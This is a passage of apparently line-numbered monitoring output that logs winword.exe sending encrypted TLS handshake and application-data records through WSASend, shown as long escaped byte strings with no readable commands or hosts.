  413. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04*\\xe7\\xb0\\xe9m>\\x12\\x169q\\x89\\xe4\\x9c\\xd1k\\xdd\\xa7=\\x7f\\xa5f\\xda.\\x85\\xc8f\\xca\\xd9\\xdd\\xec9rq\\xc1*\\x19\\x06\\x06\\xa2\\xd3\\xe1+\\x102d\\xa4\\xe3&4m\\xcb\\xfa`\\xd8j\\xdb\\xd4\\x14\\xa1\\xa0n\\x10\\xb7u\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x9b=\\x17\\x1c3\\x90#g\\x98\\x00t\\xa8\\xf5\\xbe\\x8c/q\\xf9\\xcc\\xb1\\xa2\\x81\\xa6\\xf6,d\\x9e\\xf5ds\\xf2\\x8d\\x04\\x17\\x87\\x04\\xf6\\xcch\\xc8\\xef\\xa8\\x83:f\\xb7\\x8c"
  414.  
  415.  
  416. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf63!c\\x0c\\xe2\\x10\\xaddae\\xb0\\xc6\\x07!\\xc6\\xad\\x04\\x18\\xfc\\x80\\x81\\x8e0\\xa4\\xce\\xd3\\x8a\\xc2\\x19\\x00\\x82#\\x80;\\xb2\\xf9\\xd0\\xdf\\xa3;(w\\xe8\\x14g_&\\xa8\\x1d\\x90wi5z\\xd9\\xf2\\xc4n\\x00j2f\\xf1\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xf3\\xec\\xf1\\xc7\\x99\\xb4\\x9e\\x8e\\x0b\\x06\\xc1\\xd4\\xb4\\xc5\\xdd\\xd2\\x7f\\x01\\x84\\x82\\x05\\x11\\xe1\\xd1\\x89\\xdb\\x94a@\\x13\\xe4\\xd6>\\xd5n\\xad\\x0f\\xd4\\xc6r0\\x1f\\x02\\xd4\\x16\\x03\\xac"
  417.  
  418.  
  419. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xe7\\x17p\\x89\\xdd\\x84n\\z\\xb6k\\xe7\\xae\\x05j\\xb1\\xd1/@+\\xa2\\x12p\\x86h\\xaa\rut\\x84.\\xce2\\xd7\\xb0\\xf4\\xd1k!~\\xe5\\x9e\\x1e\\xfck\\xc4\\xba\\xa9fn\\xf0\\xb9m\\xfajvd\r)\\xff\\xeb-\\xe7\\xc2\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000k\\x14\\xdc\\xfa\\x81|o\\xcf\\xc2\\x1b\\xeb\\x0c\\xb4jlj&\\x84\\xc2f\\x9a\\xb8$\\xbe\\xd1\\x99\\xc4\\x1f\\xe3\\x93\\x83\\xc79)\\x19\\xf5\\xa6(n\\xcd\\xda5gl\\x17"
  420.  
  421.  
  422. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x1b4\\x14\\xdd\\xce\\xb5\\xe3\\xac`\\xf0\\xfd\\x16\\x9d5e\\x8b\\xc6>\\xad=-\\xcd~\\xc3\\x19m\\x1f\\xfe\\xff\\x89\t\\xbb\\xfb\\x15z/9\\xfe\\x80u\\x84\\xb2\\xae5\\xb5i\\xfa\\x89\\x8a\\x87\\xf4\\xf4\\xf0\\x8e\\xcdl\\x0bm\\xf17\\xdb\\x928\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x95y\\xe0\\xe1y|\\xb4xy\\x00\\xe5\\x86\\x0c\\x1a\\xb3_ic\\xbc\\xa0\\x86\\xb6\\x92\\x93v\\xceltm\\xdeb\\xa1\\x19\\xfc\\xd0\\x0b\\xb6pd\\x101\\x898==q-"
  423.  
  424.  
  425. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x9daq\\xdd<o\\xac\\xb9i\\x82?\\xc2\\xe5\\xd1 \\x0f\\xd3\\xcd\\x88\\x9a\\x94^~-h\\x13\\x9ck\\xea\\xfc\\x8d^\\x0f\\xfbq\\xe8\\xf7\\\\xea\\x053\\xbb\\xbe7\\x84\\x8f\\x0co\\x07\\x9ai\\x1ar:\\xad\\x82\\x88\\x90\\xfb7\\xeao\\x84\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x9e\\x86\\x1d\\xb9\\x80\\x86`s\\xba\\x1d\\x13\\xc1\\x03\\xe81&\\x1c\\xf1\\x12\\x80x\\x1d\\x10\\xd0\\xeakozk\\x13\\xd2%ki\\xb0,m^\\x18gf\\xd4\\xc1\\xc0yue\\xc1"
  426.  
  427.  
  428. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x048x\\x8fl\\xd4n\\xdf\\xd7\\xe9r\\xcf@\\xe1\\xa5\\x7f\\x05\\x80\\x0fol\\xad\\xf3#\\x03\\xeb\\x06\\xee\\x00`uc\\xfd\t\\x90\\xdd/o\\xac\\x8b\\xad\\x81s\\xb9\\xfc\\xc1b\\xc4\\x9c\\xd2b5e\\x12\\x1f'|\\x12xv\\x8fdl\\xe8w\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x0000<\\x84\\xad\\xdb\\x1e\\xca\\x15\\xa4\\xba\\x80\\xf4\\xb7*\\xf8\\x0b\\x9a\\xcatp\\xa3\\xbe\\xc6\\x19\\xaf\\x90dg\\xf8\\x1c\\xa1\\xa8\\x90\\x05\\xc3\\xaf\\xf3\\xe7\\xf0h\\x01\\xdf2\\xe3(bw"
  429.  
  430.  
  431. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xc7lx\\x9dj\\\\xbeb\\xd5\\xb7\\x81\\x16\\xbc_&>a\\x84\\xe8q\\x8c8+\\xbe\\x88j\\xba\\xc6h&@\\x82\\xfcho\\x8bd\\x0c\\xae\\xb9\\x9a\\xa17\\xb6\\xd2\\xa7v\\x02\\xcd\\xa1\\xf9\\x81^\\xb2\\xc8:\\x15\\xce\\xe4\\x01\\xff\\xaa\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x99\\xae\\xc4\\xb4\\x12\\xbfhs\\x18\\xaf\\x83\\x98\\xe9\\xa7\\xad\\xa7\\xdc/g$\\x1b\\x9el\\x0b\\xc5\\xd7nd\\xa7\\xc6\\xc2\\xf8h1\\xc5o\\xb3bj.b\\xaf\\xd4\\xb4'm"
  432.  
  433.  
  434. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x044!\\xeb'\\x91o\\xd8\\xa1\\xc1&&\\xd4\\xf64\\xbc\\xcf\\x00un\"/\\x12\\xe51\\xccn\\xfdu\\xf4\\x7f\\x84\\xf4o\\xeci|\n\\x93\\xb0\\xd2\\xb7\\x02\\x9b~d\\xc3\\xee\\xc1\\x11h*6\t2\\xb0\\x14\\xa8fe\\xcej'\\xcc\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xd6\\xbe\\x9b%\\xa3\\x99\\xa7~\\x1c7\\xb3\\x1e8mz\\x95\\xf4\\x1dn\\xcbv\\xb2\\xd0m\\x8f3y+\\x99\\x1f\\x89v\\x1by\\xbd;\\x93\\xc2`\\x9d\\x06*\\xe5~=6\\x9b\\xd5"
  435.  
  436.  
  437. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xbc!8\\xa5\\x81\\xd7\\x13\\xc0p\\xba+\\x99u\\xa8\\xb3\\x99\\xa1\\xd1\\xd2\\xcd\\xc9\\x85\\x01\\xe4\r\\x06`@ak=c\\x83\\xfb\\xc2(_\\xf6e\\x06rh\\x85\\xbb\\xdc\\xb6\\xa0v\\xcd\\x97\\xf2\\x9a5l%f\\xe1ekz\\xfb\\xe4\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xed:\\\\xa7\\xcb-\\x01\\x10b$/f9\\x1b\\xef\\x98g\\x95\\xd8\\xd1,cr%\\x1b\\x99\\\\x93\\x80e\t\\xc9\\xb5\\xd6\\xaa\\xc3)r\\xe4\\x07\\xe9\\xf2\\xd2\\x1c\\xfb\\xd1\\xab"
  438.  
  439.  
  440. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04,\\x02*dd9\\x84\\x08\\xc0kd\\xb5\\xb2\\xf9\\xf0e\\xee=c\\x80\\xafv2\\xdb\\xf04\\x08\\x89\\xc2i\\xd4.~t\\x8e\\x9d\\x82\\xfc\\x97\\xccf\\xb1vp\\x89\\x10\\x81\\x8a\\xde\\xf7\\x1am\\xe8s\\xb2*w\\xbd\\x06\\xfb\\x01)\\xf8\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000p\\xe8\\xaa4m\\xfc~\\xc3e<m\\x1d\\x01d\\x15\\xaeq\\xe8\\x89\\x0bx\\xf6\\x7f?\\xc3y\\x90\\x05\\xa4^\\x00\\x99\\xf0\\x15h\\\\xc4\\xa4\\xfe\\xf3\"u\\xf8\\x89\\x0cod"
  441.  
  442.  
  443. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x8d4\\xbf\\x8c\\xce8md\\x04\\xef\\xa5m\\x84\\x9f\\xc2\\x04\\xf4\\xf7|\\x98^\\xa9\\xbf>\\xbf\\xb4ms?l\\xd7\\xbf\\x94\\xa1\\xc3g^(\\x0b\\xf0\\xd4\\xe7\\xfay\\xaf\\x93>\\xac1\\xd2\\xa6\\xd3\\xc3_\\xe9\\xccy\\xc2n\\x7f@\\xa1\\x88\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x0003\\k\\x1ez\\xeav\\x93\\x9ak\\xba4\\xff\\xa95*\\x80\\x80'~\\\\x9b=\\x1de\\xe6\\xfe\\xcdn\\xa1r\\xc4\\xd2%\\x04\\xfd\\xbcdz\\xfa\\xcc\\xe4\\xd5\\xfb\\xf7\\x15\\xec"
  444.  
  445.  
  446. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xb4*\\xdai\\x0e\\x8c\\xe7\\xcf-s\\xd8\\x9cw\\x90o\\xa6\\x9e\\xcekzk\\x8e\\xef3\\x98\\x8a\\xec?\\x8cd\\x94\\xe1,\\x1d\\xf0b\\x99=\\x9ct\\x91\\x13\\x13v\\xbf\\xf4<;,i\\xba4\\x1f\\xf6q\\x1f\\x84\\x02\\xcak%\\x82\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x10\\xcd2.u\\xf2\\xf2\\xa1\\xe8b'\\x88\\x88\\x98\\x8bua\\xac\\x81\\x97\\x1agx\\xc8\\x07\\xb4\\xb6@\\xfb\\xf9\\xd5\\xd9\\xfcy\\x00\\xac\\xf4\\xfb\\xfdqj\\xbbn\\xfb\\x10\\xeb\\xd7\\xf4"
  447.  
  448.  
  449. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x84\\xad\\xfa%\\x02$\\xc8\\xec\\xec\\x9c\\xfc\\x08\\xe27\\xa7)\\xe5\\xfc\\x90\\xe5\n\\xb0\\x00\\xe7\\x9f`\\x98i(z\\xe33\\xdd\\xd00\\xac\\xcb\\xb8>dj\\x9c~&\\xa66\\x16$\\x89\\xa7\\x08\\x1en\\x10i\\xfbj\\xe8\\xb2.\\xb9`\r\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xb5\\x05\\xd97\\xc1\\xba\\xd1\\x0b\\xe7db\\xce\"y\\xdbg\\xa1\\xc1\\x99\\x97(3\\x16\\xcb\\xe5\\x86,lu\\xff\\x96\\xba\\xfd\\x02\\xc0\nt\\x0e\\xf7m\"\\xb0r\\xc0\\x17\\x92\\xf1r"
  450.  
  451.  
  452. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x00\\x1f\\xde\\x81\\xfd\\xa5/\\x15\\xa2\\xcf\\xd7dm\\x1a\\x84\\xec\\xc1\\x84\\xcc\t\\x9c(\\xfb\\xc9g\\xf5#\\xe5s\\x1c\\x0c\\x16\\xbb4\\xf4\\x05t\\x9d1\\x1e\\xab\\x8b\\x08r\\xd8/\\x07\\x97z\\xb5\\xdb\r'y\\xe3\\xd6\\xdbs\\x95\\xc3i\\xf9\\xe3\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000%x\\x16&\\xbc;\\xf6\\x05\\x839f^ak\\xdd\\xf3\\xe6\\x8e\\xb6\\xfa\\xb2\\x06\\xee|a\\xa4\"\\xcd\\xde\\xddyt\\xc0\\xddn\\xd3\\xb4;\\xc4\\xfbx\\xf0?\\xbb\\x8fy\\xd08"
  453.  
  454.  
  455. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf6\\x1bk\\xec\\xe6\\x9b\\xbd\\xd8\\xbb\\xe4\\xdfnu/\\xb3\\x0f\\xbf~\\x87\\x9b\\xdb\\x1ec\\xc4\\x83\\xfdk,\\xcf\\x17\\xc1\\xa2\\xb4\\xd6\\x15\\xb6\\xdd\\x95v\\xd2\\xbc\\xa3h\\x08\\xac\\xc2?\\x1aat3\\x13\\xe4\\xa8#\\x06\\xef*k5\\x9b\\x0f\\x8b\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xfd=\\x19\\xf3+cl\\xf2/\\xd0\\x19e0\\x15\\xdb\\x87\\xd9\\x9d\\xd4h\\x19+\\xd81\\xd0-\\xdb\\xf3\\x85\\x1e\\x1e\\xbey\\xc7\\x1cv\\xa2\\xdc\\xa2\\xbd\\x8a\\xbcodj\\xa4uw"
  456.  
  457.  
  458. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf7\\xdan\\xffkb\\xc6(\\xd3\\xa3i\r\\xb8\t\\xb7\\x9e\\x8c\\x88\\xa22+y\\x1c\\x13\\xefy\t\\x92f\\xa3^\\xdb\\x1f\\x91\\x19\\xa5srk\\x83kc\\x99\\xa3-n\\xbe\\xff\\xef\\xf8\\xa0#\\xb4n\\xcc\\xbcc\\xd92.\\xf2m\\xa1\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x03f\\x02g\\xc3ey\\xea\\xbe\\x8am0x;p\\xca\\xd5\\xfb.\\xd8t\\x1er\\x1d\\x8f\\xc0o\\x8eq\\x9b\\x1c\\x96(2\\xa9\\xbb\\xe0\\x1b\\x89j\\x0fox\\xc3\\xf7?`g"
  459.  
  460.  
  461. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xc7\\xb6\\xa6\\x0e\\xa1\\x9cp\\xcdk\\xa5l>\\x08k\\xfc2\\xf4\\xa3~)\\x14\\x0eb\\xcd\\xafw%>\\xd2\\x9cq\\x12t\\xa7ak~$\\x05\\\\x99r&\\xe7vx\\xd0jkadz\\xd3ng\\xb9\\x97^\\xffs\r\\xc1\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x95\\xab\\xbc\\x19\\xb6\\xf3\\x1b^\\xa2\\xb3\\xcb\\xaa\\xc0+o\\x9fcn\\x7f\\x08b\\xab%j\\xbc\\x99\\xa01\\x9fh\\x06\\xe2\\x00\\xae\\xad\\xee\\x16\no\\x88f\\xae\\xa6\\xc3y\\xdb\\xf5"
  462.  
  463.  
  464. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04-\\xcc\\x92m\\xa0\n\\xaft8\\x9ama\\x88\\xfe\\xdc\\xa8\\x84\\xb0\\x07s\\xe5\\x92vx\\xee\\x1c\\xc9\\xe0\\xe0r\\x0c\\x90\\xb1x\\x83\\x084o\\xaa\\xb5\\x9b\\xfb\\xd0\\x96l\\x1a\\x94\\xe1b\\x04\\xe3#5y\\xe4\\x84\\xf9\\xccc\\xea-\\xdb\\xad\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x86l\\xcb\\xc6l\\xc4\\x13s)4\\x0c \\x1cy\\xa9f\n\\x97\\xcbz\\x04,\\xfe\\x1b\\x07.\\x992\\xfdz\\xef\\xf1\\x93\\x03\\x9e\\x92\\x88ed\\x8e\\xa0@v\\xe0\\xc1"
  465.  
  466.  
  467. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04;z\\xf2jq\\xff\\xfa\\x92\\xf2s\\x7f\\xd7\\xaf\\x86l\\xd8\\xf9h\\xfa\\xe7\\x0c\\xb0\\xc5\\x8f5\\x90\\x91%u\\xe6\\x14i\\xafp\\xbaq0\\xe2\nlw\\x91ejx\\xf7z\\x80\\x03\\xc3\\xf4\\xf3\\xf5\\xf7>\\xf3q\\xae\\x19\\xd32\\xd9\\xf7\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xf8o\\xd4?\\x13\\x16\\x11\\xc4\\x06\\xc5\\xbdp\\xeb\\xfc\\x06\\xc5l\\xb7\\x84\\x1c\\x1b\\x99\\xec<u\\xc2a\\xec7\\xeb\\xe1\\x9b\\xf5\\xddl.dn-\\xfef\\x0br\\xcb'\\x88"
  468.  
  469.  
  470. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04=\\x86\\x91\\x05\\xc1\\xccj\\xaa7\\x8d\\x07\\xed\\x16\\xbdu\\x0e\\xb5\\x8c\\xa4\\xd3\\xf9a\\x1cva\\x7fyl\\x11\\xe2\\x83o\\xe1_\\xf7\\x02\\x0f\\x9c\\x12\\xc6'\\xdc\\x12i\\x12w\\x9b\\x05\\xe4\\xce\\x15\\x1d2\\x8b\\xda\\xc0^\\xfd\\xdf\\x04@\\xe1\\xfc\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x1b\\x8c\\xcc\\xc3\\xcd\\xc3\\xc5k;\\xa8yv\\xfa>-\\xde\\xda\\x8bt\\x18\\x1f\\xe4@\\x0b~r\\x8cs\\xbc\\xdfq84\\xb0\\xedz\\xf8\\xe4\\x19\\xff=q\r\\x882\\x0e\\x9b"
  471.  
  472.  
  473. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xc8v\\xfe\\xb4\\x16\\x8bc\\x8c\\x1a0\\x9a\n5\\xaa\\xf4\\x83pb\\xbem\\x98z\\x95\\x81v\\xea\\xd0\\x1f\\x1d\\xf2\\xf1\\x85\\xee\\xe5v\\xebi\\x8ac\\x8e\\xcfu\\x95\\xea\\x07\\xd7\\xf7v\t\\xfc\\xc08\\xab\\x02\\x04ib\\x83\\xc7x\\x8b\\xb8\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000%\t\\x87x\\xd9\\xd1\\xf5\\xd1\\x06h\\x9e\\xd8vx\\xb4(\\x9df\\xad\\xeb\\xb0w\\xe7?\\x10\\x7f9\\x80\\xeb\\xf0\\x97\\x1b\\xe40\\x02\\xb7zc\\x12\\xea4\\x06\\xf27\\x9f\\xd2"
  474.  
  475.  
  476. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x110\\x86\\xa2\\x16$\r\\xcf\\x1a\\x13\\xb4\\xaf\\x9fej\\xfbjiror\\x18\\x83\\\\xff\\x9c1\\xab\\xdcg$\\x81za\\xd4j\\xab\\x9f^j\\x81\\xbb\\xda\\x17\\xba;\\\\xbd\\xa4\\xe8\\xf8ma\\x1ae\\xb2\\xe6v\\xb5b\\xac\\xac\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xed\\x8c\\x99\\xe6\\xf5\\xc5\\xd1\\x08g\\x12\\x91*q\\xb0\\x9a\\xd9\\x99\\xc7,~\\x9a\\xec\\xc8\\x7f\\xa6f\\xcc2p\\xcey.\\x83\\x87:\\xdar\\x83h\\x1c\\xcee\\x01\\xe9\\x85\\x15r\\x1a"
  477.  
  478.  
  479. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04>#\t\\xf6\\xc7\\xe5\\xf8\\xb9\\xe9\\x8fwe5\\x1c\\xb0\\x88\\xedq\\x9d\\x165\\x02\\xe0y\\xa4y\\x87a\\xbf\\xb0\\xfc7\\xa5\\x11\\xfb\\xe2d\\x9ccr\\xe5<\\xd2\\xdedg\\xf4\\xc1j/\\x8c\\xed\\xa20\\xbd\\xdc\\xdd\\xc4\\x85\\xe0\\x0c?\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xb2=\\xe0\\xbek\\x95luf\\xd9\\xc4;\\xf7\\x11\\x9f\\xac&(\\xed\\xb2.y\\xf7mj\\xb1\\xbd#\\xa8 \\x8d\\x86\\x88\\xf6r1\\xfe\\xbbow*\\x18lj\\x0e\\x1a5"
  480.  
  481.  
  482. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xa8w\\x84#_!l\\xc1\\x02\\xbc\\x9fa\\xbaw\\xc7p\\x9cu<^\\xc8\\xb2t\\x0c_np\\xd1\\x9a\\x12q\\x16\\xdb7\\xd5\\xc9\\xbdx\\xaa\\x88\\x82z\\xa2z\\xca\\xa2\\xf0ki\\xe2\\xe3\\xb7i\\xaa\\x08\\xbf\\xcd\\x92\\x8e\\xdb\\xb5m18\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa1\\xeb\\x16\\xed\\xe0\\x1ekt\\x17\\xaa\\xe3\\x8e;\\xe3\\x7f~\\x16\\xab&q\\x85\\x84\\xcaf$\\x17u\\x1a%\\xca\\xd5\\xe5k_\\xb5o\\xfc\\xc4\\x9a\\xfe\\xdd79\"\\xff<%"
  483.  
  484.  
  485. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x9b_\\xf4\\xd1\\xd6\\x88\\xa4\\x9c%1\\xb2\\xe9\\xb0\\xb3p\\x12\\x90\\x03\\x157z\\x11w\\xfcj\\xab\\xfe\\xa8\\xbf\\x1c\\xe2\\x08\\xaf\\xe5cr`\\x08\\xa9\\\\xedq8j\\xca\\xd5\\x1e\\x896\\x13\\xf0v\\xdb\\xff\\xf7\\xe8\\x9b\\xae\\xaa \\x8a\\xa2\\xa3-\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000f\\x94\\x9f$:z\\xe0<7\\xd7\\x1e\\xed`\\xd6\\x0c\\x08\\xf0y\\x17\\x95k\\x8f\\x89\\xa1t\\xf3n\\xb8f\\xcd`\\xa3\\xce\\xd7\\x0c\\xb1!\\xa4\\xe7\\x97\\xfck4c\\xcb&"
  486.  
  487.  
  488. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x9e\\xd1\\x94\\x13\\x0b#\\xdd\\x03\\xa3\\x08!ne\\x14\\x05\\xcd\\xd7\\xb0\\x1c-\\xa2*\\xf9\\x1b\\xb0\\x95\\x8e4\\xff\\xb2\\x8b\\xfb\\x9e\\xdd!\\xc6\\x0f\\xc2\\x94\\xd7\\x07\\xf7\\x89|>\\xd6\\xf5\\xbcx@\\xa1f\\xeb\\x97\\xd5\r\\xbf\\x86\\xf7\\x15?\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000x\\xdf5?\\xbal1\\xb7u\\x99\\x9ad\\x87p\\x15~\\xcf\\xb92'\\xf0\\xe6\\xfc4\\xbc!\\xcbm\\xba\\xae\\xbc\\x96\\x0er\\xe68!\\xca\\xd4\\xa2h\\xa2j\\xfd\\x81\\x98\\xc7\\x91"
  489.  
  490.  
  491. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x7f\\x86\\xe8\\xc3w\\xd3\\xcd\\xff&\\x7fa\\xba\\x86\\x9c\\x08)\\xd6\\x825\\x8b\\xe24f\\xe6\\xc8\\x9ewj\\xda<\\xf8\\xff\\x88\\x08b9\\x17n\\xb8\\xc0\\xb9i\\x93\\x00\\xdc\\x1f\\xc6\t;qm\\xff#\\x8e\\xda\\x15e\\x11\\x87t>\\xf1b\\x0eq\\xaf\\xaf\\xf4<\\xfd\\x0f#\\xc8\\xc2\\xd2\\xa6)9\\xf6\\xc87,\\x0b\\x97\\xb7o\\xfb/\\x06\\x8fw~\\xd2\\xf0*\\x94vy\\x01\\xf7\"eg\\xa18=q\\x95\\x1f\\xac\\xb3\t\\xbd\\xaa\\xc0\\xc2\\x1b\\xd2\\x8b\\xa3\\xb1h2\\xdd>t\\x8ds\\x01\\xd0\\x9e\\xf2\\x90e\\xfb\\x87\\x98\\xd6c\\xa4\\x15i>\\xcd\\xf9\\x83\\xc1y!a\\x90\\xdb\\x18\\x853\\x9a.|\\x85\\xd7)=\\xd1_\\x81\\xcb\\xbe\\x93p\\xb4\\x7f\\x82me\\xf5m\\x9e\n\\x12\\xc3\\xc5\\x8e\\x02uw\\xd5k\\x9f\\xbc7\\xa2\\xd0!2\\x9f\\x90(\\xc9\\x92\\x99\\xdcj\\x8er\\xcf\\xab\\xe9\\xa0\\x82\\x02\\x0e\\xb8\\x0bo;>\\x1fx\\x17\\x03\\x1ba\\xcdv\\xc2\\x1b\\x0c\\xf0\\x1a\\x81\\xfa\\xd9\\x03ex\\x8d\\x16\\xfc0\\x0f\\xe7\\xec\\xac\\xebcu\\x8ca"
  492.  
  493.  
  494. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xcf\\xafp\\xb6q\\xd2\\xca6\\x90\\xc8f\\xc6beju\\x0e\\x7f\\xa0\\x8c \\x0b\\xbb\\xf6\\x16\\x91\\xac\\x1ck\\xf9\\x9e\\x04n\\xb7\\x07\\xbb\\xa9\\xe5\\x12\\xf8\\x0e\\xbd\\xfa\\x8d\\x02\\xb1\\x94v|1-w+/\\x05*8\\x81\tl\\xcem\\x03\\xf95\\x13\\xcfy\\xdd\\xd3\\x1exo\\xb0\\xe1\\xf0\\xa0\\xc50\\xfe/\\x91p\\x8e\\xe4\\xee\\xe2<e\\xc0\\x02xw\\xff\ndy\\x8a\\xfd\\x1a\\x7f\\x0f\\xaf\\xcad\\xdc<dz\\xd4\\xc9\\xda\\xf2 \\x17.\\x04\\xb8\\xeb:2\\x94b\\xb2\\xdf+\\xcb\\x87\\xde\\xf3\\xf3\\x8f\n\\xa2h\\x9c\\xeb\\xba\\x99&,\\x93\\x15\\xe1\\xf3\\x1d\\x1e$\\xe3moq\\x90\\xa3\\xa6s\\x1d\\xda\\xcfo\\x8e\\x0b\\x89s\\x8c\\xc0l\\x16\\xfeaa\\xcf\\x14i\\x1cv\\x86n\\x12z\\xf7t\r\\x8c\\x13rf\\x89\\x1bg\\x14\\xf6\\xeb\\xb9\\xff\\xcd\\xb5\\x97j\\x10\\xf2\\x84\\x7fa\\x8a'sm\\xaa\\xd3\\x1a\\xf95\\xc0\\x9b\\x9b:)\\xd7\\xba\\x0b\\xfa\\xe3l\\x82\\x96\\xa6\\xeb\\xcf\\xe0:\\xa3v\\xdf7\\xce\\xc0\\xe3d`g\\x1e\\xce\\x91\\x14ig"
  495.  
  496.  
  497. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x07\\x81\\xf5?\\xaa\t^c\\xc2\\xa5na\\xcf\\xa6\\xbd\\xd0\\x8d\\x0c$\\xda+\\x17\\x80\\x02\\x99\\x99\\xca=\\x02\\xa4\\xd3\\xe5\\xaa\\xb1\\x96\\xb2q\\xe8\\xceb,\\x91'\\xaa\\x1bxb\\xd6\\xc1\\xa1\\xce9\\xd3\\xce\\xcb\\xbd\\x92\\xaf\\xa3gw\\xf25\\xd0\\xc1\\xd4\\xc8\\xd0>\\xcc\\xc5\\xb3%`\\x95g\\xc8@\\xf2=8\\x90\\xe86\\xbe\\x1ar\\xd50\\xf1/\\xcc\\x0e\\xb4\\xactl\\xac\\x02\\x93j\\xe2@y\\x03\\x03\\xd8dpn\\xc0\\x19i\\xcf\\xba\\x01\\x16(\\xf6\\x99d\\x16\\xe7ts\\xe8\\xf9\\xe3\\x9fdq\\x96\\x89f\\x1f*'v\\xb33\\x1a\\x1a\\xc1\\x8d\\x93\\xf3h\\xffyu\\xf2\\x92\\x1a\\xf2:\\xac\\xa0\\x0b\\x91\\x83\\xbd\n\\xc2rs5s7\\x1ef)\n\\xf9n\\xb1\\xb9\\x0f\\xe2_\\x9c\\xd72\\xf0\\xab\r\\xd4f\ra2w\\x00\\x81l\\x92\\x17\\xfc=\\xf45\\xea\\xf1y\\xa3\\xcdt\\xd4zoz\\xeb\\xd7\\xd9\\xd4\\x89\\x83\\x83\\j\\x7f.`x\\xbe\\x1c\\xeb>\\xdc\\xbd\\xde\\x9f\\x86\\xb0n\\x8de\\xec\\x8f\\xd0\\xc9\\xc3\\xb3\\xd7\\x8a\\xb7o"
  498.  
  499.  
